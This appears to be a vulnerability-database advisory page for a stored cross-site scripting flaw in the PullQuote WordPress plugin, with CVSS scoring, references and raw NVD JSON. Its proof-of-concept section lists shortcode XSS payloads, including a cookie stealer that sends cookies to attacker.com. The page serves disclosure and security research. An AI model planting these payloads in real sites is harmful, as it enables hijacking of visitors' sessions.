CVE-2025-13903

Description

The PullQuote plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'pullquote' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score

6.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

PullQuote plugin <= 1.0 (all versions)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- WordPress PullQuote Plugin XSS PoC -->
<!-- Requires contributor-level access or higher -->

<!-- Basic XSS PoC -->
[pullquote align='left' quote='<script>alert("XSS")</script>']

<!-- Image onerror XSS PoC -->
[pullquote align='center' quote='<img src=x onerror=alert(document.cookie)>']

<!-- SVG XSS PoC -->
[pullquote align='right' quote='<svg onload=alert(document.domain)>']

<!-- Event handler XSS PoC -->
[pullquote align='none' quote='<body onload=alert(document.referrer)>']

<!-- Stored Cookie Stealer PoC -->
[pullquote align='left' quote='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>']

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13903
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13903
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13903/
[4] VulDB https://vuldb.com/cve/CVE-2025-13903
[5] https://plugins.trac.wordpress.org/browser/pullquote/tags/1.0/includes/core.php#L12
[6] https://plugins.trac.wordpress.org/browser/pullquote/trunk/includes/core.php#L12
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/0a0ee752-7fc4-46d3-9e0f-8b9317b0ea72?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13903", "sourceIdentifier": "[email protected]", "published": "2026-01-09T12:15:52.800", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The PullQuote plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'pullquote' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin PullQuote para WordPress es vulnerable a Cross-Site Scripting Almacenado a través del shortcode 'pullquote' del plugin en todas las versiones hasta la 1.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en los atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel de colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/pullquote/tags/1.0/includes/core.php#L12", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/pullquote/trunk/includes/core.php#L12", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0a0ee752-7fc4-46d3-9e0f-8b9317b0ea72?source=cve", "source": "[email protected]"}]}}